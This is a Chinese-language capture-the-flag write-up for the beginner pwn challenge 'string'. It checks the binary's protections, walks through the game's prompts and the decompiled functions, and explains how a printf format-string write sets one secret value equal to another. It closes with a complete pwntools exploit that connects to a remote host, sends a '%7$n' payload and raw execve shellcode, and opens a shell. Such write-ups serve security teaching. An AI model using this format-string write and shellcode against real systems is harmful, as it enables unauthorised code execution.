攻防世界pwn新手区string
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启全部RELRO---got表不可写
开启canary保护---栈溢出需绕过canary
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接
英文意思是:我们是巫师,我们会给你手,你不能自己打败龙......
我们会告诉你两个秘密......秘密
[0]是6662a0秘密[1]是6662a4
不要告诉任何人
你的角色的名字应该是什么是:
根据提示输入信息,先随便输入一个名字,本文写的是pwn
英文意思是:创建一个新的玩家。
这是一家著名但非常不寻常的旅馆。
空气清新,大理石瓷砖地面干净。
很少能看到吵闹的客人,而且家具看起来也没有因斗殴而受损,这在世界各地的其他酒吧中很常见。
装饰看起来非常珍贵,可以装进一座宫殿,但在这座城市里却很普通。
房间中间是天鹅绒覆盖的椅子和长凳,围绕着大橡木桌子。
一个大标志固定在木栏后面的北墙上。
在一个角落里,你注意到一个壁炉。
有两个明显的出口:向东,向上。
但奇怪的是,那里没有人。
那么,你会去哪里?向东还是向上?:
选择east或up
(1)east
选择east后选1,选0的话会退出程序
你向东走了一小段路。奇怪,有人突然消失了,发生了什么?!
你只是旅行,发现另一个洞你记得,一个大黑洞会把你吸进去!
知道你应该怎么做吗?
进入那里(1),还是离开(0)?:
1
在你脑海中听到一个声音“给我一个地址”
这里随便写一个地址
英文意思:一个声音在你脑海中听到'给我一个地址'
0x231312
而且,你的愿望是:你的愿望是 x231312我听到了,我听到了....啊!!!!!!!!!!!!!!!!
龙出现了!!
龙说:哈哈!
你应该有一个普通的RPG游戏,但我改变了它!
你没有武器和技能!
你打不过我!
这听起来太可怕了!
你遇到了最终的老板!但你的水平是一个!
末日……真的吗?
到这就结束了
(2)up
选up后,会一直问你去哪,无限循环。。。
ida一下,找到main函数
这里告诉我们两个秘密数字0x44和0x55
并且程序会输出两个秘密的地址(%x)
进入sub_400996();函数看一下
根据一开始程序运行来看,这个函数应该是召唤了一只龙
接着看一下主函数里的sub_400D72(screct)
让我们输入名字的地方,name大小不能超过0xC个字节(即12个字节)
看一下sub_400A7D();
仔细分析发现,如果输入east就会退出这个函数
输入up会进入sub_4009DD();
v2一个随机数,如果输入的数不等于随机数,程序就会无限循环中
看来刚才应该选east
选east跳出循环
来到sub_400BB9();
一个if语句,需要v1的值为1,就是输入完east后选1
下面有个格式化字符串溢出
这个函数结束后会进行get_shell((_DWORD *)a1);
首先mmap()申请一段堆空间
然后一个函数调用,参数是0和v1
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
__fastcall是c语言的一个函数调用约定,通过栈来调用函数
将部分参数通过寄存器传入,其余参数通过栈方式传入的方法。
函数的第一个和第二个DWORD参数(或者尺寸更小的)通过ecx和edx传递,其他参数通过从右向左的顺序压栈
被调用函数清理堆栈
函数名修改规则同stdcall
其声明语法为:int fastcall function(int a,int b)
我们只需将shellcode写入v1,就可以运行我们的shellcode
还有一个问题是要想调用这个函数,首先要让 *a1 == a1[1]即(a1[0]=a1[1]),这里的a1就是主函数里的secret
a1[0]是0x44,a1[1]是0x55,可以通过上面的printf格式化字符串漏洞,修改a1[0]的值为0x55,使a1[0]=a1[1]。
exp
from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',65005)
sh.recvuntil(b'secret[0] is ')
num_addr = int(sh.recvuntil("\n")[:-1],16) # 获取地址,并用16进制保存起来
print(num_addr)
sh.sendlineafter("What should your character's name be:\n",b'pwn') #输入名字
sh.sendlineafter("So, where you will go?east or up?:\n",b'east') #输入east
sh.sendlineafter('go into there(1), or leave(0)?:\n',b'1') #输入1
sh.sendlineafter("'Give me an address'\n",str(num_addr)) #输入a1[0]的地址
sh.sendlineafter('And, you wish is:\n','a'*0x55+'%7$n') #修改a1[0]为0x55
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' #shellcode机器码
sh.sendlineafter('Wizard: I will help you! USE YOU SPELL',shellcode)
sh.interactive()
运行获得shell
关于寻找第几个参数的问题
sh.sendlineafter('And, you wish is:\n','a'*0x55+'%7$n')
为什么这里是第7个参数
用pwngdb调试一下
找到格式化字符串漏洞printf()的地址
输入多个a,以0x6161616161做标志
根据64位传参方式,
参数少于7个,参数从左向右放入寄存器:rdi,rsi,rdx,rcx,r8,r9
参数大于7个:前六个与前面一样,但后面一次从右向左放入栈
图中aaaaaaaaaa位于rsp+0x10处
所以要修改的地址是prinf的第8个参数,格式化字符串的第7个
附上
64位与32位传参方式